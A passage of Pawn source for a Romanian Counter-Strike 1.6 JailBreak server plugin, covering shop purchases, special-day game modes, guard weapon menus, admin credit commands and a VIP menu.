if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop revive", name)
}
else
chatcolor(id, "!g[SHOP] !yNu poti !tREINVIA !y - deoarece esti deja VIU sau nu ai 1000 credite!")
}
case 11:
{
if(is_user_alive(id) && credite[id] >= 250)
{
message_begin(MSG_ONE, get_user_msgid("SetFOV"), { 0, 0, 0 }, id)
write_byte(180)
message_end()
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
}
cs_set_user_money(id, credite[id])
menu_destroy( menu )
return PLUGIN_HANDLED
}
public ShopMenuCT_handler( id, menu, item )
{
if( item == MENU_EXIT )
{
menu_destroy( menu )
return PLUGIN_HANDLED
}
if(get_user_team(id) == 0)
{
return PLUGIN_HANDLED;
}
new data[6], iName[64]
new access, callback
new name[32]
get_user_name(id, name, charsmax(name))
menu_item_getinfo( menu, item, access, data,5, iName, 63, callback )
new key = str_to_num( data )
switch( key )
{
case 1:
{
if(is_user_alive(id))
{
if(is_user_alive(id) && credite[id] >= 250)
{
set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
chatcolor(id, "[SHOP] Ai primit invizibilitate 15 secunde!")
set_task(15.0, "RemoveInvis", id)
credite[id]=credite[id]-250
ShopUsed[id] = true;
g_Invizibil[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop invizbilitate[CT]", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
}
case 2:
{
if(is_user_alive(id))
{
if(is_user_alive(id) && credite[id] >= 250)
{
set_pev(id, pev_maxspeed, 444.0)
g_Speed[id] = 1
chatcolor(id, "[SHOP] Ai primit viteza!")
credite[id]=credite[id]-250
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop viteza[CT]", name)
}
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 3:
{
if(!is_user_alive(id) && credite[id] >= 250)
{
ExecuteHamB(Ham_CS_RoundRespawn, id);
chatcolor(id, "[SHOP] Tocmai ai fost reinviat!")
credite[id]=credite[id]-250
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop revive[CT]", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 4:
{
if(is_user_alive(id) && credite[id] >= 100)
{
set_user_health(id, get_user_health(id) +150)
chatcolor(id, "[SHOP] !yAi cumparat !t150 HP!")
credite[id]=credite[id]-100
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 150HP[CT]", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
}
menu_destroy( menu )
return PLUGIN_HANDLED
}
public cmd_daysmenu(id)
{
if(g_PlayerLast)
{
chatcolor(id, "!g[BoxMenu]!y Nu poti sa accesa !gDaysMenu cand !yeste !gUltimul !tPrizonier !yin !gViata!y.")
return PLUGIN_HANDLED
}
if(g_DayRestrict >= 1)
{
client_print(id, print_chat, "[DAYS] Nu poti da o Zi Speciala acum, deoarece trebuie sa astepti: %s %s", g_DayRestrict == 1? "1":"2", g_DayRestrict == 1? "zi.":"zile.");
return PLUGIN_HANDLED
}
if(g_Simon == id)
{
if(is_user_alive(id))
if(!g_GameMode || !g_GunDayFortat)
JBDays(id);
else
chatcolor(id, "!t[!gJailBreak!t] !eu !gZi !tSpeciala !ya fost aleasa !gdeja!y.")
}
else
chatcolor(id, "!t[!gJailBreak!t] Doar !gSimon !yare acces la meniul zilelor speciale.")
return PLUGIN_HANDLED
}
public JBDays(id)
{
if(g_Simon && is_user_alive(id))
{
new szText[ 555 char ];
formatex( szText, charsmax( szText ), "Meniu Zile Speciale");
new vip_menu = menu_create( szText, "vipmenuT_handler" );
formatex( szText, charsmax( szText ), "Zombie Day" );
menu_additem( vip_menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "Spartan Day" );
menu_additem( vip_menu, szText, "2", 0 );
formatex( szText, charsmax( szText ), "Gravity Day" );
menu_additem( vip_menu, szText, "3", 0 );
formatex( szText, charsmax( szText ), "Grenade Day" );
menu_additem( vip_menu, szText, "4", 0 );
formatex( szText, charsmax( szText ), "Nightcrawler Day" );
menu_additem( vip_menu, szText, "5", 0 );
formatex( szText, charsmax( szText ), "NoScope Day" );
menu_additem( vip_menu, szText, "6", 0 );
formatex( szText, charsmax( szText ), "War Day" );
menu_additem( vip_menu, szText, "7", 0 );
formatex( szText, charsmax( szText ), "HNS Day" );
menu_additem( vip_menu, szText, "8", 0 );
new a = get_timeleft()
if(a < 301)
{
formatex( szText, charsmax( szText ), "GodMode Day" );
menu_additem( vip_menu, szText, "9", 0 );
} else if(a > 301) {
formatex( szText, charsmax( szText ), "GodMode Day" );
menu_additem( vip_menu, szText, "9", ADMIN_ADMIN );
}
formatex( szText, charsmax( szText ), "Freezetag Day" );
menu_additem( vip_menu, szText, "10", 0 );
formatex( szText, charsmax( szText ), "1HP Day" );
menu_additem( vip_menu, szText, "11", 0 );
formatex( szText, charsmax( szText ), "HeadShot Day" );
menu_additem( vip_menu, szText, "12", 0 );
formatex( szText, charsmax( szText ), "SpiderMan Day" );
menu_additem( vip_menu, szText, "13", 0 );
formatex( szText, charsmax( szText ), "Furien Day" );
menu_additem( vip_menu, szText, "14", 0 );
formatex( szText, charsmax( szText ), "HungerGames Day" );
menu_additem( vip_menu, szText, "15", 0 );
formatex( szText, charsmax( szText ), "USP Day" );
menu_additem( vip_menu, szText, "16", 0 );
formatex( szText, charsmax( szText ), "Deagle Day" );
menu_additem( vip_menu, szText, "17", 0 );
menu_display( id, vip_menu, 0)
}
return PLUGIN_HANDLED;
}
public vipmenuT_handler( iPlayer, menu, item )
{
if( item == MENU_EXIT || !is_user_alive(iPlayer) )
{
menu_destroy( menu );
return PLUGIN_HANDLED;
}
new data[ 6 ], iName[ 64 ], access, callback;
menu_item_getinfo( menu, item, access, data, charsmax( data ), iName, charsmax( iName ), callback );
new key = str_to_num( data );
new iPlayers[32]
new iNum
new id
static i
for(i = 1; i <= g_MaxClients; i++)
{
if(is_user_alive(i)) strip_user_weapons(i);
if(is_user_connected(i) && !is_user_alive(i) && !is_user_bot(i))
{
if(get_user_team(i) == 1 || get_user_team(i) == 2)
{
ExecuteHamB(Ham_CS_RoundRespawn, i)
strip_user_weapons(i);
}
}
}
new crowbar_ent
while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
engfunc(EngFunc_RemoveEntity, crowbar_ent)
switch( key )
{
case 1: //Zombie Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300;
g_GameMode = 1
g_ResetValues = 1;
CreateFog(0, 100, 0, 0, 0.0040); // rosu
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 2000);
cs_set_player_model(id, "ezwjb_zm")
set_pev(id, pev_body, 1)
give_item(id, "weapon_knife");
set_pev(id, pev_viewmodel2, "models/jb_models/v_zmez.mdl")
cmd_zombieclass(id)
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_knife")
set_user_health(id, 400);
give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_M4A1, 999)
give_item(id, "weapon_ak47")
cs_set_user_bpammo(id, CSW_AK47, 999)
}
}
}
case 2: // Spartan Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 255
g_ResetValues = 1;
g_GameMode = 2
if(cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_M4A1, 999)
give_item(id, "weapon_ak47")
cs_set_user_bpammo(id, CSW_AK47, 999)
set_user_health(id, 140);
}
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 99);
give_item(id, "weapon_shield");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_DEAGLE, 999)
}
}
}
case 3: //Gravity Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 255
g_GameMode = 3
g_Gravity[id] = 1;
if (cs_get_user_team(id) == CS_TEAM_T)
{
give_item(id, "weapon_knife")
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 999)
set_user_gravity(id, 0.3)
set_user_maxspeed(id, 250.0)
}
if (cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 999)
give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_M4A1, 999)
set_user_health(id, 300)
set_user_gravity(id, 0.3)
set_user_maxspeed(id, 250.0)
}
}
}
case 4: //Grenade Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 4
give_item(id, "weapon_hegrenade")
cs_set_user_bpammo(id, CSW_HEGRENADE, 9999)
g_ResetValues = 1;
}
}
case 5: //Night Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 5
g_ResetValues = 1;
//jb_remove_hats()
if(cs_get_user_team(id) == CS_TEAM_CT)
{
set_user_health(id, 150);
set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0);
give_item(id, "weapon_knife")
}
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 100)
give_item(id, "weapon_ak47")
give_item(id, "weapon_m4a1")
give_item(id, "weapon_deagle");
cs_set_user_bpammo( id, CSW_AK47, 999 );
cs_set_user_bpammo( id, CSW_M4A1, 999 );
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
}
}
}
case 6: //NoScope Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 6
g_ResetValues = 1;
if(get_user_team(id) == 1)
{
set_user_health(id, 15);
give_item(id, "weapon_awp")
cs_set_user_bpammo(id, CSW_AWP, 999);
}
else if(get_user_team(id) == 2)
{
set_user_health(id, 65);
give_item(id, "weapon_awp")
cs_set_user_bpammo(id, CSW_AWP, 999);
}
}
}
case 7: //War Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 7
g_ResetValues = 1;
give_item(id, "weapon_deagle")
give_item(id, "weapon_ak47")
give_item(id, "weapon_m4a1")
give_item(id, "weapon_awp")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
cs_set_user_bpammo(id, CSW_AK47, 999);
cs_set_user_bpammo(id, CSW_M4A1, 999);
cs_set_user_bpammo(id, CSW_AWP, 999);
set_user_health(id, 150);
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 100);
}
else if(cs_get_user_team(id) == CS_TEAM_CT)
{
set_user_health(id, 200);
}
}
}
case 8: //HNS Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 350
give_item(id, "weapon_knife");
g_GameMode = 8
if(cs_get_user_team(id) == CS_TEAM_T)
{
PlayerFreeze(id, 0);
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
set_task(60.0, "reset", 4567)
Fade_To_Black(id)
PlayerFreeze(id, 1);
}
}
}
case 9: //GodMode Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 666
g_GameMode = 9
give_item(id, "weapon_knife");
if (cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_deagle")
cs_set_user_bpammo( id, CSW_DEAGLE, 999)
set_user_godmode(id, 1)
}
}
}
case 10: //Tag Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 10
if (cs_get_user_team(id) == CS_TEAM_CT)
{
szPlayerCT[id] = true
set_user_godmode(id, 1)
set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN)
}
if (cs_get_user_team(id) == CS_TEAM_T)
{
set_user_maxspeed(id, 450.0)
set_user_gravity(id, 0.3)
}
give_item(id, "weapon_knife");
set_task(1.0, "PrisoneInformer", 1234, _, _, "b")
set_task(1.0, "Timer", 123, _, _, "b")
}
}
case 11: //1HP Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 200
g_GameMode = 11
g_ResetValues = 1;
if (cs_get_user_team(id) == CS_TEAM_CT)
{
set_user_health(id, 30);
give_item(id, "weapon_knife");
}
if (cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 1);
give_item(id, "weapon_knife");
}
}
}
case 12: //HeadShot Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 150
g_GameMode = 12
g_ResetValues = 1;
register_forward(FM_TraceLine, "Forward_TraceLine_Post", 1)
if (cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id,"weapon_m4a1")
cs_set_user_bpammo( id, CSW_M4A1, 999 );
}
if (cs_get_user_team(id) == CS_TEAM_T)
{
give_item(id,"weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
}
}
}
case 13: //SpiderMan Day
{
chatcolor(0, "!y[!gSpiderMan Day!y] Sa va puneti bind c !g+hook")
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 150
g_GameMode = 13
g_ResetValues = 1;
if (cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_deagle")
give_item(id, "weapon_ak47")
give_item(id, "weapon_m4a1")
give_item(id, "weapon_awp")
cs_set_player_model(id, "SpiderManDay")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
cs_set_user_bpammo( id, CSW_AK47, 999 );
cs_set_user_bpammo( id, CSW_M4A1, 999 );
cs_set_user_bpammo( id, CSW_AWP, 999 );
set_user_health(id, 600);
}
if (cs_get_user_team(id) == CS_TEAM_T)
{
give_item(id, "weapon_deagle")
give_item(id, "weapon_ak47")
give_item(id, "weapon_m4a1")
give_item(id, "weapon_awp")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
cs_set_user_bpammo( id, CSW_AK47, 999 );
cs_set_user_bpammo( id, CSW_M4A1, 999 );
cs_set_user_bpammo( id, CSW_AWP, 999 );
set_user_health(id, 100)
}
}
}
case 14: // Furien Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 200
g_GameMode = 14
g_Speed[id] = 1
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 200);
give_item(id, "weapon_knife");
engclient_cmd(id, "weapon_knife")
u_knife[id] = 1
cs_set_player_model(id, "FurienDay")
set_pev(id, pev_viewmodel2, "models/jb_models/VipModels/v_stik.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/VipModels/p_stik.mdl")
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_m4a1");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_M4A1, 9999);
cs_set_user_bpammo(id, CSW_DEAGLE, 9999);
give_item( id, "weapon_knife" );
set_user_health(id, 100)
}
}
}
case 15: // Hunger Games Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 150
g_GameMode = 15
set_cvar_num("mp_friendlyfire", 1)
if(cs_get_user_team(id) == CS_TEAM_T)
{
set_user_health(id, 100);
give_item(id, "weapon_m4a1");
cs_set_user_bpammo(id, CSW_M4A1, 9999);
give_item( id, "weapon_knife" );
}
if(cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_m4a1");
cs_set_user_bpammo(id, CSW_M4A1, 9999);
give_item( id, "weapon_knife" );
set_user_health(id, 100)
}
}
}
case 16: //usp Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 16
g_ResetValues = 1;
if(get_user_team(id) == 1)
{
set_user_health(id, 100);
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 999);
}
else if(get_user_team(id) == 2)
{
set_user_health(id, 220);
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 999);
}
}
}
case 17: //Deagle Day
{
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
strip_user_weapons(id)
secundeday = 300
g_GameMode = 17
g_ResetValues = 1;
if(get_user_team(id) == 1)
{
set_user_health(id, 100);
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
}
else if(get_user_team(id) == 2)
{
set_user_health(id, 220);
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
}
}
}
}
g_BlockWeapons = 1;
jail_open()
g_Freeday = 0
g_DayRestrict = 3;
new name[32]
get_user_name(g_Simon, name, charsmax(name))
chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g %s !t]", name, g_DayName[g_GameMode]);
return PLUGIN_HANDLED;
}
public Forward_TraceLine_Post(Float:v1[3], Float:v2[3], fNoMonsters, id, pentru)
{
if( fNoMonsters || !( 1 <= id <= get_maxplayers()) )
return FMRES_IGNORED
if(g_GameMode == 12)
{
static pHit; pHit = Get_HitWitch(pentru)
if( 1 <= pHit <= get_maxplayers() )
{
if( Get_HitPlace(pentru) != 1 )
{
Set_HitPlace(pentru)
return FMRES_SUPERCEDE
}
}
}
return FMRES_IGNORED
}
public GunDayFortat()
{
if(float(g_TeamCount[CS_TEAM_T]) / 3 < float(g_TeamCount[CS_TEAM_CT]))
{
new iPlayers[32]
new iNum
new id
g_GunDayFortat = 1;
chatcolor(0, "!g[JailBreak]!y Deoarece sunt prea multi !gGardieni!y, serverul a dat !gGun Day !yFortat!")
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
jail_open()
if (cs_get_user_team(id) == CS_TEAM_CT)
{
give_item(id, "weapon_deagle")
give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
cs_set_user_bpammo( id, CSW_M4A1, 999 );
set_user_health(id, 300);
}
if (cs_get_user_team(id) == CS_TEAM_T)
{
give_item(id, "weapon_deagle")
give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_DEAGLE, 999);
cs_set_user_bpammo( id, CSW_M4A1, 999 );
set_user_health(id, 100)
}
}
} else if(float(g_TeamCount[CS_TEAM_T]) / 3 > float(g_TeamCount[CS_TEAM_CT])) {
chatcolor(0, "!y[!gGun Day Fortat!y] Gun Day-ul fortat a fost anulat deoarece echipele au fost echilibrate.")
}
return PLUGIN_HANDLED;
}
/*public ImparteEchipele() {
new iPlayers[32]
new iNum
new id
get_players( iPlayers, iNum )
for( new i = 0; i < iNum; i++ )
{
id = iPlayers[i]
if(!is_user_alive(id))
continue;
if(cs_get_user_team(id) == CS_TEAM_T) {
if(ImparteEchipele1 <= ImparteEchipele2)
{
ImparteEchipele1++;
cs_set_player_model(id, "JB_FootBall_TeamA")
set_pev(id, pev_body, 2)
set_pev(id, pev_skin, 6)
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 15.0)
show_hudmessage(0, "ESTI IN ECHIPA ALBASTRA")
chatcolor(id, "!y[FOOTBALL] Esti in !gECHIPA ROSIE.");
}
else
{
cs_set_player_model(id, "JB_FootBall_TeamB")
set_pev(id, pev_body, 2)
set_pev(id, pev_skin, 5)
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 15.0)
show_hudmessage(0, "ESTI IN ECHIPA ROSIE")
chatcolor(id, "!y[FOOTBALL] Esti in !gECHIPA ROSIE.");
ImparteEchipele2++;
}
}
}
}*/
public RemoveInvis(id)
{
if(is_user_alive(id))
{
set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255)
chatcolor(id, "[SHOP] Atentie! Nu mai esti invizibil acum!")
}
}
public ClCmdGiveCredits( id )
{
if( !( get_user_flags( id ) & read_flags("a") ) )
{
client_cmd( id, "NU ai acces la aceasta comanda!" );
return 1;
}
new szFirstArg[ 32 ], szSecondArg[ 10 ];
read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
{
client_cmd( id, "amx_give_credits < nume / @T > < credite >" );
return 1;
}
new iPlayers[ 32 ];
new iPlayersNum;
new iCredits = str_to_num( szSecondArg );
if( iCredits <= 0 )
{
client_cmd( id, "Valoare creditelor trebuie sa fie mai mare decat 0!" );
return 1;
}
if( szFirstArg[ 0 ] == '@' )
{
switch ( szFirstArg[ 1 ] )
{
case 'T':
{
if( equal( szFirstArg, "@T" ) )
{
get_players( iPlayers, iPlayersNum, "ceh", "TERRORIST" );
if( iPlayersNum == 0 )
{
client_cmd( id, "NU se afla niciun jucator in aceasta echipa!" );
return 1;
}
for( new i = 0; i < iPlayersNum ; i++ )
credite[ iPlayers[ i ] ] += iCredits;
new szName[ 32 ];
get_user_name( id, szName, sizeof ( szName ) -1 );
chatcolor(0, "!yAdmin-ul !t[!g%s!t] !yle-a dat !t[!g%i!t] !yCredite Prizonierilor!g.", szName, iCredits)
log_to_file("LogCredits.log", "Admin-ul !t[!g%s!t] !yle-a dat !t[!g%i!t] !yCreditele Prizonierilor!g.", szName, iCredits)
return 1;
}
}
}
}
new iPlayer = cmd_target( id, szFirstArg, 8 );
if( !iPlayer )
{
client_cmd( id, "Jucatorul %s nu a fost gasit!", szFirstArg );
return 1;
}
credite[ iPlayer ] += iCredits;
new szName[ 32 ], _szName[ 32 ];
get_user_name( id, szName, sizeof ( szName ) -1 );
get_user_name( iPlayer, _szName, sizeof ( _szName ) -1 );
chatcolor(0, "!yAdmin-ul !t[!g%s!t] !yi-a dat !t[!g%i!t] !yCredite lui !t[!g%s!t]!g.", szName, iCredits, _szName)
log_to_file("LogCredits.log", "Admin-ul !t[!g%s!t] !yi-a dat !t[!g%i!t] !yCreditele lui !t[!g%s!t]!g.", szName, iCredits, _szName)
return 1;
}
public ClCmdTakeCredits( id )
{
if( !( get_user_flags( id ) & read_flags("a") ) )
{
client_cmd( id, "NU ai acces la aceasta comanda!" );
return 1;
}
new szFirstArg[ 32 ], szSecondArg[ 10 ];
read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
{
client_cmd( id, "amx_take_credits < nume > < credite >" );
return 1;
}
new iCredits = str_to_num( szSecondArg );
if( iCredits <= 0 )
{
client_cmd( id, "Valoare creditelor trebuie sa fie mai mare decat 0!" );
return 1;
}
new iPlayer = cmd_target( id, szFirstArg, 8 );
if( !iPlayer )
{
client_cmd( id, "Jucatorul %s nu a fost gasit!", szFirstArg );
return 1;
}
if( credite[ iPlayer ] < iCredits )
{
client_cmd( id, "Jucatorul %s nu are atatea Credite! Are doar %i", szFirstArg, credite[ iPlayer ] );
return 1;
}
credite[ iPlayer ] -= iCredits;
new szName[ 32 ], _szName[ 32 ];
get_user_name( id, szName, sizeof ( szName ) -1 );
get_user_name( iPlayer, _szName, sizeof ( _szName ) -1 );
chatcolor(0, "Admin-ul !t[!g%s!t] !yi-a luat !t[!g%i!t] !yCredite lui !t[!g%s!t]!g.", szName, iCredits, _szName)
log_to_file("LogCredits.log", "Admin-ul !t[!g%s!t] !yi-a luat !t[!g%i!t] !yCredite lui !t[!g%s!t]!g.", szName, iCredits, _szName)
return 1;
}
public scoategodmode(id) set_user_godmode(id, 0 );
public class_menu(id)
{
if(get_user_team(id) != 2 || g_GameMode || g_PlayerLast || !is_user_connected(id) || !is_user_alive(id)) return PLUGIN_HANDLED;
if (g_usedguns[id] > 2)
{
chatcolor(id, "!g[JailBreak] !yGuns de 3 ori pe runda, teapa fraiere!");
return PLUGIN_HANDLED;
}
if(is_user_alive(id) && is_user_connected(id))
{
new classmenu = menu_create("\wMeniu Arme Gardieni \yJB.LeagueCS.RO", "weapons_handler");
menu_additem(classmenu, "\wFortele Rusesti \y[AK47+DEAGLE]", "1", 0);
menu_additem(classmenu, "\wFortele NATO \y[M4A1+DEAGLE]", "2", 0)
menu_additem(classmenu, "\wFortele Lunetistilor \y[AWP+DEAGLE]", "3", 0);
menu_additem(classmenu, "\wFortele Americane \y[MP5+DEAGLE]", "4", 0);
menu_additem(classmenu, "\wFortele Naziste \y[FAMAS+DEAGLE]", "5", 0);
menu_additem(classmenu, "\wFortele Franceze \y[P90+DEAGLE]", "6", 0);
menu_additem(classmenu, "\wFortele Arabe \y[M249+DEAGLE]", "7", 0)
menu_setprop(classmenu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, classmenu, 0);
}
return PLUGIN_HANDLED;
}
public weapons_handler(id, classmenu, item)
{
if(get_user_team(id) != 2 || g_GameMode || g_PlayerLast || !is_user_connected(id) || !is_user_alive(id) || g_GunDayFortat) return PLUGIN_HANDLED;
if( item == MENU_EXIT || !is_user_alive(id) )
{
menu_destroy(classmenu);
return PLUGIN_HANDLED;
}
new data[6], iName[64]
new access, callback;
menu_item_getinfo(classmenu, item, access, data,5, iName, 63, callback);
new key = str_to_num(data);
switch(key)
{
case 1: // AK47 + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_ak47");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_AK47, 120);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
case 2: // M4A1 + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_m4a1");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_M4A1, 120);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
case 3: // AWP + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_awp");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_AWP, 40);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
case 4: // MP5 + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_mp5navy");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_MP5NAVY, 120);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
case 5: // FAMAS + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_famas");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_FAMAS, 125);
cs_set_user_bpammo(id, CSW_DEAGLE , 35);
}
case 6: // P90 + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_p90");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_P90, 150);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
case 7: // M249 + DEAGLE
{
strip_user_weapons(id);
give_item(id, "weapon_knife")
give_item(id, "weapon_m249");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_M249, 250);
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
}
}
g_usedguns[id]++;
menu_destroy(classmenu);
return PLUGIN_HANDLED;
}
public cmd_vipnew(id)
{
if(cs_get_user_team(id) == CS_TEAM_CT || cs_get_user_team(id) == CS_TEAM_T)
{
new szText[ 555 char ];
formatex( szText, charsmax( szText ), "Meniu VIP \yJb.LeagueCS.Ro");
new vip_menu = menu_create( szText, "vipmenuT_handler22" );
formatex( szText, charsmax( szText ), "Meniu VIP Silver]" );
menu_additem( vip_menu, szText, "1", 0 );
menu_display( id, vip_menu, 0)
}
return PLUGIN_HANDLED;
}
public vipmenuT_handler22( id, menu, item )
{
if( item == MENU_EXIT )
{
menu_destroy( menu );
return PLUGIN_HANDLED;
}
if(g_GameMode || g_PlayerLast || get_user_team(id) == 0 || g_BoxStarted || IsEventActivated || g_GunDayFortat)
{
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tMENIUL V.I.P!")
return PLUGIN_HANDLED
}
new data[ 6 ], iName[ 64 ], access, callback;
menu_item_getinfo( menu, item, access, data, charsmax( data ), iName, charsmax( iName ), callback );
new key = str_to_num( data );
switch( key )
{
case 1: cmd_vipmenu(id)
}
return PLUGIN_HANDLED;
}
